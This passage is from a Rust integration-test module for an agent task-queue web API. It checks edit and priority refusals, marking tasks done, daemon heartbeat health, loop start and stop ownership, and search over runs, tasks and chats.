17607 let claim = q.claim(&t.id).unwrap();
17608 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17609 drop(claim);
17610 for status in [
17611 TaskStatus::Running,
17612 TaskStatus::Done,
17613 TaskStatus::Failed,
17614 TaskStatus::Blocked,
17615 TaskStatus::Parked,
17616 ] {
17617 let mut stored = q.get(&t.id).unwrap();
17618 stored.status = status;
17619 q.put(&mut stored).unwrap();
17620 assert_eq!(
17621 change(1).await.err().unwrap().status,
17622 StatusCode::BAD_REQUEST
17623 );
17624 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17625 }
17626 }
17627
17628 #[tokio::test]
17629 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17630 let f = Fixture::start().await;
17631 let queue = f.queue();
17632 let mut task = Task::new(
17633 "in flight".to_owned(),
17634 "x".to_owned(),
17635 PathBuf::from("/repo/magi"),
17636 Source::Human,
17637 );
17638 task.start("20260902-140502-bbbb".to_owned());
17639 queue.put(&mut task).expect("file the task");
17640
17641 let res = f
17642 .post(
17643 &format!("/api/queue/{}/priority", task.id),
17644 Some(r#"{"priority":9}"#),
17645 )
17646 .await;
17647 assert_eq!(res.status, 400, "{}", res.body);
17648 assert!(
17649 res.json()["error"]
17650 .as_str()
17651 .is_some_and(|e| e.contains("running")),
17652 "{}",
17653 res.body
17654 );
17655 assert_eq!(
17656 queue.get(&task.id).expect("reload").priority,
17657 0,
17658 "the refused write must not partially apply"
17659 );
17660 }
17661
17662 #[tokio::test]
17663 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17664 let f = Fixture::start().await;
17665 let queue = f.queue();
17666 let mut task = Task::new(
17667 "old title".to_owned(),
17668 "old instruction".to_owned(),
17669 PathBuf::from("/repo/magi"),
17670 Source::Agent {
17671 run: "20260101-000000-beef".to_owned(),
17672 node: "implement".to_owned(),
17673 },
17674 );
17675 task.runs.push("20260101-000000-beef".to_owned());
17676 queue.put(&mut task).expect("file the task");
17677 let created_at = task.created_at;
17678
17679 let edited = f
17680 .post(
17681 &format!("/api/queue/{}/edit", task.id),
17682 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17683 )
17684 .await;
17685 assert_eq!(edited.status, 200, "{}", edited.body);
17686 let body = edited.json();
17687 assert_eq!(body["title"], "new title");
17688 assert_eq!(body["instruction"], "new instruction");
17689 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17690 assert_eq!(body["created_at"], created_at.to_string());
17691 assert_eq!(
17692 body["source"]["kind"], "agent",
17693 "editing a task an agent filed must not turn it human: {body}"
17694 );
17695 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17696
17697 let reloaded = queue.get(&task.id).expect("reload");
17698 assert_eq!(reloaded.title, "new title");
17699 assert_eq!(reloaded.instruction, "new instruction");
17700 }
17701
17702 #[tokio::test]
17703 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17704 let tmp = TempDir::new().expect("tempdir");
17707 let repo = tmp.path().join("repo");
17708 std::fs::create_dir_all(&repo).expect("repo dir");
17709 let judge = MOCK_AGENT_TOML.replace(
17710 "printf ok",
17711 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17712 );
17713 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17714 let f = Fixture::with_repo(repo.clone()).await;
17715 let queue = f.queue();
17716 let mut owner = Task::new(
17717 "owner".to_owned(),
17718 "review it".to_owned(),
17719 repo.clone(),
17720 Source::Human,
17721 );
17722 owner.review_branch = Some("magi/ab12/A".to_owned());
17723 queue.put(&mut owner).expect("file the owner");
17724 let mut task = Task::new(
17725 "draft".to_owned(),
17726 "old".to_owned(),
17727 repo.clone(),
17728 Source::Human,
17729 );
17730 queue.put(&mut task).expect("file the draft");
17731 let url = format!("/api/queue/{}/edit", task.id);
17732
17733 let refused = f
17734 .post(
17735 &url,
17736 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17737 )
17738 .await;
17739 assert_eq!(refused.status, 409, "{}", refused.body);
17740 let msg = refused.json()["error"]
17741 .as_str()
17742 .unwrap_or_default()
17743 .to_owned();
17744 assert!(
17745 msg.contains("magi/ab12/A") && msg.contains("force"),
17746 "{msg}"
17747 );
17748 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17749
17750 let forced = f
17751 .post(
17752 &url,
17753 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17754 )
17755 .await;
17756 assert_eq!(forced.status, 200, "{}", forced.body);
17757 }
17758
17759 #[tokio::test]
17760 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17761 let f = Fixture::start().await;
17762 let queue = f.queue();
17763 let mut task = Task::new(
17764 "in flight".to_owned(),
17765 "do not touch".to_owned(),
17766 PathBuf::from("/repo/magi"),
17767 Source::Human,
17768 );
17769 task.start("20260902-140502-bbbb".to_owned());
17770 queue.put(&mut task).expect("file the task");
17771
17772 let res = f
17773 .post(
17774 &format!("/api/queue/{}/edit", task.id),
17775 Some(r#"{"title":"x","instruction":"y"}"#),
17776 )
17777 .await;
17778 assert_eq!(res.status, 400, "{}", res.body);
17779 assert!(
17780 res.json()["error"]
17781 .as_str()
17782 .is_some_and(|e| e.contains("running")),
17783 "{}",
17784 res.body
17785 );
17786 assert_eq!(
17787 queue.get(&task.id).expect("reload").instruction,
17788 "do not touch",
17789 "the refused edit must not change the file"
17790 );
17791 }
17792
17793 #[tokio::test]
17794 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17795 let f = Fixture::start().await;
17796 let queue = f.queue();
17797 let mut task = Task::new(
17798 "busy".to_owned(),
17799 "Running right now".to_owned(),
17800 PathBuf::from("/repo/magi"),
17801 Source::Human,
17802 );
17803 queue.put(&mut task).expect("file the task");
17804 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17805
17806 let priority = f
17807 .post(
17808 &format!("/api/queue/{}/priority", task.id),
17809 Some(r#"{"priority":9}"#),
17810 )
17811 .await;
17812 assert_eq!(priority.status, 409, "{}", priority.body);
17813
17814 let edit = f
17815 .post(
17816 &format!("/api/queue/{}/edit", task.id),
17817 Some(r#"{"title":"x","instruction":"y"}"#),
17818 )
17819 .await;
17820 assert_eq!(edit.status, 409, "{}", edit.body);
17821 }
17822
17823 #[tokio::test]
17824 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17825 let f = Fixture::start().await;
17826 let queue = f.queue();
17827 let mut task = Task::new(
17828 "shipped by hand".to_owned(),
17829 "merged outside the loop".to_owned(),
17830 PathBuf::from("/repo/magi"),
17831 Source::Agent {
17832 run: "20260101-000000-b455".to_owned(),
17833 node: "implement".to_owned(),
17834 },
17835 );
17836 task.runs.push("20260101-000000-b455".to_owned());
17837 task.runs.push("20260101-000000-9af4".to_owned());
17838 queue.put(&mut task).expect("file the task");
17839 let created_at = task.created_at;
17840
17841 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17842 assert_eq!(done.status, 200, "{}", done.body);
17843 assert_eq!(done.json()["status_str"], "done");
17844
17845 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17846 assert_eq!(
17847 reloaded.runs,
17848 ["20260101-000000-b455", "20260101-000000-9af4"]
17849 );
17850 assert_eq!(
17851 reloaded.source,
17852 Source::Agent {
17853 run: "20260101-000000-b455".to_owned(),
17854 node: "implement".to_owned(),
17855 }
17856 );
17857 assert_eq!(reloaded.created_at, created_at);
17858 }
17859
17860 #[tokio::test]
17861 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17862 let f = Fixture::start().await;
17867 let queue = f.queue();
17868 let mut task = Task::new(
17869 "landed while held".to_owned(),
17870 "x".to_owned(),
17871 PathBuf::from("/repo/magi"),
17872 Source::Human,
17873 );
17874 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17875 queue.put(&mut task).expect("file the held task");
17876
17877 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17878 assert_eq!(done.status, 200, "{}", done.body);
17879 assert_eq!(done.json()["status_str"], "done");
17880 assert!(
17881 done.json()["hold_reason"].is_null(),
17882 "a done task cannot still be waiting on something: {}",
17883 done.body
17884 );
17885 }
17886
17887 #[tokio::test]
17888 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17889 let f = Fixture::start().await;
17894 let queue = f.queue();
17895 let runs = f.runs();
17896 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17897 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17901
17902 let mut task = Task::new(
17903 "landed by hand".to_owned(),
17904 "x".to_owned(),
17905 PathBuf::from("/repo/magi"),
17906 Source::Human,
17907 );
17908 task.runs.push("20260101-000000-doa1".to_owned());
17909 task.runs.push("20260101-000000-doa2".to_owned());
17910 queue.put(&mut task).expect("file the task");
17911
17912 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17913 assert_eq!(done.status, 200, "{}", done.body);
17914
17915 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17916 .expect("run still on disk under this fixture's own home");
17917 assert_eq!(
17918 reloaded_run.status,
17919 RunStatus::Superseded,
17920 "closing the task by hand must relabel the earlier blocked attempt exactly \
17921 like the loop's own settle path does"
17922 );
17923 }
17924
17925 #[tokio::test]
17926 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17927 let f = Fixture::start().await;
17932 let queue = f.queue();
17933 let runs = f.runs();
17934 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17935 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17936
17937 let mut task = Task::new(
17938 "closed with nothing actually landed".to_owned(),
17939 "x".to_owned(),
17940 PathBuf::from("/repo/magi"),
17941 Source::Human,
17942 );
17943 task.runs.push("20260101-000000-dob1".to_owned());
17944 task.runs.push("20260101-000000-dob2".to_owned());
17945 queue.put(&mut task).expect("file the task");
17946
17947 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17948 assert_eq!(done.status, 200, "{}", done.body);
17949
17950 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17951 .expect("run still on disk under this fixture's own home");
17952 assert_eq!(
17953 reloaded_run.status,
17954 RunStatus::Blocked,
17955 "the last recorded attempt never landed, so the earlier one must not be \
17956 relabelled as superseded by it"
17957 );
17958 }
17959
17960 #[tokio::test]
17961 async fn unknown_ids_are_json_not_found_on_both_stores() {
17962 let f = Fixture::start().await;
17963
17964 let run = f.get("/api/runs/nosuchrun").await;
17965 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17966
17967 assert_eq!(run.status, 404);
17968 assert_eq!(task.status, 404);
17969 assert!(
17970 run.json()["error"]
17971 .as_str()
17972 .is_some_and(|e| e.contains("run")),
17973 "the error names what was not found: {}",
17974 run.body
17975 );
17976 assert!(
17977 task.json()["error"]
17978 .as_str()
17979 .is_some_and(|e| e.contains("task")),
17980 "the error names what was not found: {}",
17981 task.body
17982 );
17983 }
17984
17985 #[tokio::test]
17986 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17987 let f = Fixture::start().await;
17988
17989 let missing = f.get("/api/health").await.json();
17990 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17991
17992 write_daemon(
17993 f.home.path(),
17994 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17995 );
17996 let stale = f.get("/api/health").await.json();
17997 assert_eq!(
17998 stale["daemon"]["running"], false,
17999 "a minute without a heartbeat is a dead daemon, not a busy one"
18000 );
18001 assert!(
18002 stale["daemon"]["stale_for_secs"]
18003 .as_i64()
18004 .is_some_and(|s| s >= 55),
18005 "staleness is reported so the UI can say how long: {stale}"
18006 );
18007
18008 write_daemon(f.home.path(), Timestamp::now());
18009 let fresh = f.get("/api/health").await.json();
18010 assert_eq!(fresh["daemon"]["running"], true);
18011 assert_eq!(fresh["daemon"]["idle"], false);
18012 assert_eq!(fresh["daemon"]["pid"], 4242);
18013 assert_eq!(fresh["daemon"]["completed"], 7);
18014 assert_eq!(
18015 fresh["daemon"]["current"][0]["task"],
18016 "20260902-140501-aaaa"
18017 );
18018 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18019 }
18020
18021 #[tokio::test]
18022 async fn the_loop_is_not_running_until_something_starts_it() {
18023 let f = Fixture::start().await;
18024
18025 let view = f.get("/api/loop").await.json();
18026 assert_eq!(view["running"], false);
18027 assert_eq!(
18028 view["owned"], false,
18029 "nobody owns a loop that does not exist: {view}"
18030 );
18031 assert_eq!(view["stopping"], false);
18032 assert_eq!(view["last_error"], Value::Null);
18033 assert_eq!(view["daemon"]["running"], false);
18034 assert_eq!(
18035 view["repo"], "/repo/magi",
18036 "the repository a start would use, named before it is started"
18037 );
18038 }
18039
18040 #[tokio::test]
18041 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18042 let f = Fixture::start().await;
18043
18044 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18045 assert_eq!(res.status, 200, "{}", res.body);
18046 let view = res.json();
18047 assert_eq!(view["running"], true);
18048 assert_eq!(
18049 view["owned"], true,
18050 "the loop the UI started is the UI's own to stop: {view}"
18051 );
18052 assert_eq!(
18053 view["merge"],
18054 Value::Null,
18055 "no override was given, so each repository's own config decides"
18056 );
18057
18058 let health = f.get("/api/health").await.json();
18062 assert_eq!(health["loop"]["running"], true, "{health}");
18063 assert_eq!(health["loop"]["owned"], true, "{health}");
18064
18065 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18066 }
18067
18068 #[tokio::test]
18069 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18070 let f = Fixture::start().await;
18071 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18072 assert_eq!(first.status, 200, "{}", first.body);
18073
18074 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18075 assert_eq!(
18076 again.status, 409,
18077 "two loops on one queue race for the same claims: {}",
18078 again.body
18079 );
18080 assert!(
18081 again.json()["error"]
18082 .as_str()
18083 .is_some_and(|e| e.contains("already running the loop")),
18084 "the refusal has to say why: {}",
18085 again.body
18086 );
18087 assert_eq!(
18088 f.get("/api/loop").await.json()["running"],
18089 true,
18090 "and the loop that was already running is untouched by it"
18091 );
18092
18093 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18094 }
18095
18096 #[tokio::test]
18097 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18098 let f = Fixture::start().await;
18099 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18100
18101 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18102 assert_eq!(
18103 res.status, 200,
18104 "the answer must not wait for the loop: a run in flight is tens of \
18105 minutes and the operator is holding a phone: {}",
18106 res.body
18107 );
18108
18109 let view = settled(&f, |v| v["running"] == false).await;
18110 assert_eq!(view["owned"], false);
18111 assert_eq!(
18112 view["stopping"], false,
18113 "a loop that has stopped is not still stopping: {view}"
18114 );
18115 assert_eq!(
18116 view["last_error"],
18117 Value::Null,
18118 "a loop that was asked to stop did not fail: {view}"
18119 );
18120
18121 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18124 assert_eq!(twice.status, 200, "{}", twice.body);
18125 }
18126
18127 #[tokio::test]
18128 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18129 let f = Fixture::start().await;
18130 write_daemon(f.home.path(), Timestamp::now());
18133
18134 let view = f.get("/api/loop").await.json();
18135 assert_eq!(view["running"], false, "not in this process: {view}");
18136 assert_eq!(view["owned"], false, "and not this process's to control");
18137 assert_eq!(
18138 view["daemon"]["running"], true,
18139 "but a loop is alive somewhere, which is what the UI must say"
18140 );
18141 assert_eq!(view["daemon"]["pid"], 4242);
18142
18143 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18144 let res = f.post("/api/loop", Some(body)).await;
18145 assert_eq!(
18146 res.status, 409,
18147 "neither button may pretend to work on someone else's loop: {}",
18148 res.body
18149 );
18150 assert!(
18151 res.json()["error"]
18152 .as_str()
18153 .is_some_and(|e| e.contains("4242")),
18154 "the refusal has to name the process the operator must go to: {}",
18155 res.body
18156 );
18157 }
18158 assert_eq!(
18159 f.get("/api/loop").await.json()["running"],
18160 false,
18161 "and the refusal started nothing"
18162 );
18163 }
18164
18165 #[tokio::test]
18166 async fn a_stale_status_file_is_not_a_foreign_owner() {
18167 let f = Fixture::start().await;
18168 write_daemon(
18169 f.home.path(),
18170 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18171 );
18172
18173 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18174 assert_eq!(
18175 res.status, 200,
18176 "a daemon killed a minute ago must not lock the loop out of its \
18177 own home for good: {}",
18178 res.body
18179 );
18180 assert_eq!(res.json()["running"], true);
18181
18182 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18183 }
18184
18185 #[tokio::test]
18186 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18187 let f = Fixture::start().await;
18188 let before = f.get("/api/health").await.json()["loop_rev"]
18189 .as_u64()
18190 .expect("a loop revision");
18191
18192 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18193
18194 let after = f.get("/api/health").await.json()["loop_rev"]
18195 .as_u64()
18196 .expect("a loop revision");
18197 assert!(
18198 after > before,
18199 "the loop is in-process state, so this counter is the only thing \
18200 that tells a second device the first one started it: {before} -> \
18201 {after}"
18202 );
18203
18204 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18205 }
18206
18207 #[tokio::test]
18208 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18209 let f = Fixture::with_loop(launch_broken).await;
18210
18211 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18212 assert_eq!(
18213 res.status, 200,
18214 "starting it is not the failure: {}",
18215 res.body
18216 );
18217
18218 let view = settled(&f, |v| v["last_error"].is_string()).await;
18219 assert_eq!(
18220 view["running"], false,
18221 "a loop that died must not read as running, or the operator has \
18222 nothing to press: {view}"
18223 );
18224 assert_eq!(view["owned"], false);
18225 assert!(
18226 view["last_error"]
18227 .as_str()
18228 .is_some_and(|e| e.contains("read-only file system")),
18229 "the phone is where a loop that died at 3am is visible: {view}"
18230 );
18231
18232 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18235 assert_eq!(again.status, 200, "{}", again.body);
18236 assert!(
18237 again.json()["last_error"]
18238 .as_str()
18239 .is_none_or(|e| !e.contains("read-only file system")),
18240 "a fresh start does not keep showing why the last one died: {}",
18241 again.body
18242 );
18243 }
18244
18245 #[tokio::test]
18246 async fn a_newer_daemon_status_file_still_renders() {
18247 let f = Fixture::start().await;
18248 std::fs::write(
18251 f.home.path().join("daemon.json"),
18252 serde_json::json!({
18253 "schema": 2,
18254 "updated_at": Timestamp::now().to_string(),
18255 "idle": true,
18256 "surprise": { "nested": [1, 2, 3] },
18257 })
18258 .to_string(),
18259 )
18260 .expect("write daemon.json");
18261
18262 let health = f.get("/api/health").await;
18263
18264 assert_eq!(health.status, 200);
18265 assert_eq!(health.json()["daemon"]["running"], true);
18266 }
18267
18268 #[tokio::test]
18269 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18270 let f = Fixture::start().await;
18271 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18272 let broken = f.runs().join("20260902-140502-bad");
18273 std::fs::create_dir_all(&broken).expect("run dir");
18274 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18275
18276 let list = f.get("/api/runs").await;
18277 let detail = f.get("/api/runs/20260902-140502-bad").await;
18278
18279 assert_eq!(list.status, 200);
18280 let listed = list.json();
18281 let ids: Vec<&str> = listed
18282 .as_array()
18283 .expect("an array")
18284 .iter()
18285 .map(|r| r["id"].as_str().expect("an id"))
18286 .collect();
18287 assert_eq!(
18288 ids,
18289 vec!["20260902-140501-good"],
18290 "one unreadable run must not cost the operator the whole history"
18291 );
18292 assert_eq!(detail.status, 500);
18293 assert!(
18294 detail.json()["error"]
18295 .as_str()
18296 .is_some_and(|e| e.contains("run.json")),
18297 "the failure names the file to look at: {}",
18298 detail.body
18299 );
18300 let health = f.get("/api/health").await;
18304 assert_eq!(health.json()["runs_unreadable"], 1);
18305 }
18306
18307 #[tokio::test]
18309 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18310 let f = Fixture::start().await;
18311 let runs = f.runs();
18312 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18313 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18314 let path = runs.join("20260902-140502-bbbb").join("run.json");
18317 let mut v: serde_json::Value =
18318 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18319 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18320 std::fs::write(&path, v.to_string()).unwrap();
18321 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18322 std::fs::write(
18323 runs.join("20260902-140503-cccc").join("run.json"),
18324 "{ not json",
18325 )
18326 .unwrap();
18327
18328 let res = f.get("/api/search?scope=runs&q=quokka").await;
18329 assert_eq!(res.status, 200, "{}", res.body);
18330 let v = res.json();
18331 assert_eq!(v["total"], 1, "{v}");
18332 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18333 assert_eq!(v["hits"][0]["field"], "text");
18334 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18335 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18336 assert!(
18337 parts
18338 .iter()
18339 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18340 "{v}"
18341 );
18342 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18343 assert_eq!(
18344 flat, "The Quokka leaks across threads",
18345 "whitespace is collapsed"
18346 );
18347
18348 let both = f
18350 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18351 .await
18352 .json();
18353 assert_eq!(both["total"], 1, "{both}");
18354 let neither = f
18355 .get("/api/search?scope=runs&q=quokka%20zebra")
18356 .await
18357 .json();
18358 assert_eq!(neither["total"], 0, "{neither}");
18359 let stmt = f
18361 .get("/api/search?scope=runs&q=mobile%20first")
18362 .await
18363 .json();
18364 assert_eq!(stmt["total"], 2, "{stmt}");
18365 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18366 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18367 }
18368
18369 #[test]
18370 fn snippet_ignores_terms_longer_than_the_field() {
18371 let terms = ["ok".to_owned(), "elephant".to_owned()];
18372 let parts = snippet_of("ok", &terms);
18373 assert_eq!(
18374 parts,
18375 vec![SnippetPart {
18376 text: "ok".to_owned(),
18377 hit: true
18378 }]
18379 );
18380 }
18381
18382 #[test]
18383 fn snippet_marks_matches_longer_than_the_window() {
18384 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18385 let hit_len = |parts: &[SnippetPart]| -> usize {
18386 parts
18387 .iter()
18388 .filter(|p| p.hit)
18389 .map(|p| p.text.chars().count())
18390 .sum()
18391 };
18392 let total =
18393 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18394
18395 let long = "a".repeat(120);
18396 let parts = snippet_of(&long, std::slice::from_ref(&long));
18397 assert!(hit_len(&parts) > 0, "{parts:?}");
18398 assert!(total(&parts) <= cap);
18399
18400 let ja = "あ".repeat(130);
18401 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18402 assert!(hit_len(&parts) > 0, "{parts:?}");
18403 assert!(total(&parts) <= cap);
18404
18405 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18407 let term = format!("ab{}", "c".repeat(100));
18408 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18409 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18410 assert!(total(&parts) <= cap);
18411
18412 let text = format!("{}z", "a".repeat(119));
18414 let parts = snippet_of(&text, &["a".repeat(120)]);
18415 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18416 }
18417
18418 #[tokio::test]
18419 async fn search_caps_hits_and_snippet_length() {
18420 let f = Fixture::start().await;
18421 let runs = f.runs();
18422 for n in 0..(SEARCH_MAX_HITS + 5) {
18423 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18424 }
18425 let v = f.get("/api/search?scope=runs&q=web").await.json();
18426 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18427 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18428 assert_eq!(v["truncated"], true);
18429 assert!(
18431 v["hits"]
18432 .as_array()
18433 .unwrap()
18434 .iter()
18435 .all(|h| h["run"]["status"] == "merged")
18436 );
18437
18438 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18439 let parts = snippet_of(&long, &["needle".to_owned()]);
18440 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18441 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18442 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18443 }
18444
18445 #[tokio::test]
18446 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18447 let f = Fixture::start().await;
18448 let queue = f.queue();
18449 let mut t = Task::new(
18450 "short title".to_owned(),
18451 "line one\nthe hidden Armadillo detail".to_owned(),
18452 PathBuf::from("/repo/magi"),
18453 Source::Agent {
18454 run: "r1".to_owned(),
18455 node: "chat".to_owned(),
18456 },
18457 );
18458 t.last_error = Some("disk full on /tmp".to_owned());
18459 queue.put(&mut t).expect("file the task");
18460
18461 for (q, want) in [
18462 ("armadillo", 1),
18463 ("disk%20FULL", 1),
18464 ("chat", 1),
18465 ("queued", 1),
18466 ("short%20nothing", 0),
18467 ] {
18468 let v = f
18469 .get(&format!("/api/search?scope=tasks&q={q}"))
18470 .await
18471 .json();
18472 assert_eq!(v["total"], want, "{q}: {v}");
18473 }
18474 for bad in [
18475 "/api/search?scope=tasks&q=",
18476 "/api/search?scope=tasks&q=%20",
18477 "/api/search?scope=chats&q=",
18478 "/api/search?scope=chats&q=%20",
18479 "/api/search?scope=nope&q=a",
18480 "/api/search?q=a",
18481 ] {
18482 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18483 }
18484 }
18485
18486 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18488 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18489 .expect("seat value");
18490 let turns: Vec<serde_json::Value> = turns
18491 .iter()
18492 .map(|(who, body)| {
18493 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18494 })
18495 .collect();
18496 let doc = serde_json::json!({
18497 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18498 "status": status, "turns": turns,
18499 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18500 "seat": seat,
18501 });
18502 let dir = f.home.path().join("talks");
18503 std::fs::create_dir_all(&dir).expect("talks dir");
18504 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18505 }
18506
18507 #[test]
18508 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18509 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18510 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18511 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18512 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18513 "seat": crate::agent::SeatState::new("talk", "test", 1)
18514 })).unwrap();
18515 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18516 talk.title = Some(talk::ChatTitle {
18517 text: "最近の話題".into(),
18518 source: talk::TitleSource::Generated,
18519 });
18520 let doc = talk_search_doc(&talk);
18521 assert_eq!(doc["title"], "最近の話題");
18522 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18523 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18524 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18525 }
18526
18527 #[tokio::test]
18528 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18529 let f = Fixture::start().await;
18530 write_talk(
18531 &f,
18532 "20260901-000001-aaaa",
18533 "open",
18534 &[
18535 (
18536 "operator",
18537 "\n Why does the Pangolin cache expire?\nsecond line",
18538 ),
18539 ("agent", "Because the TTL is thirty seconds."),
18540 ],
18541 );
18542 write_talk(
18543 &f,
18544 "20260901-000002-bbbb",
18545 "closed",
18546 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18547 );
18548 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18549
18550 let search = |q: &'static str| {
18551 let f = &f;
18552 async move {
18553 f.get(&format!("/api/search?scope=chats&q={q}"))
18554 .await
18555 .json()
18556 }
18557 };
18558
18559 let v = search("PANGOLIN").await;
18560 assert_eq!(v["scope"], "chats");
18561 assert_eq!(v["total"], 1, "{v}");
18562 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18563 assert_eq!(v["hits"][0]["field"], "title");
18564 assert_eq!(v["unreadable"], 1, "{v}");
18565 let marked: Vec<&str> = v["hits"][0]["snippet"]
18566 .as_array()
18567 .unwrap()
18568 .iter()
18569 .filter(|p| p["hit"] == true)
18570 .map(|p| p["text"].as_str().unwrap())
18571 .collect();
18572 assert_eq!(marked, ["Pangolin"]);
18573
18574 let v = search("zebra").await;
18576 assert_eq!(v["total"], 1, "{v}");
18577 assert_eq!(v["hits"][0]["field"], "agent");
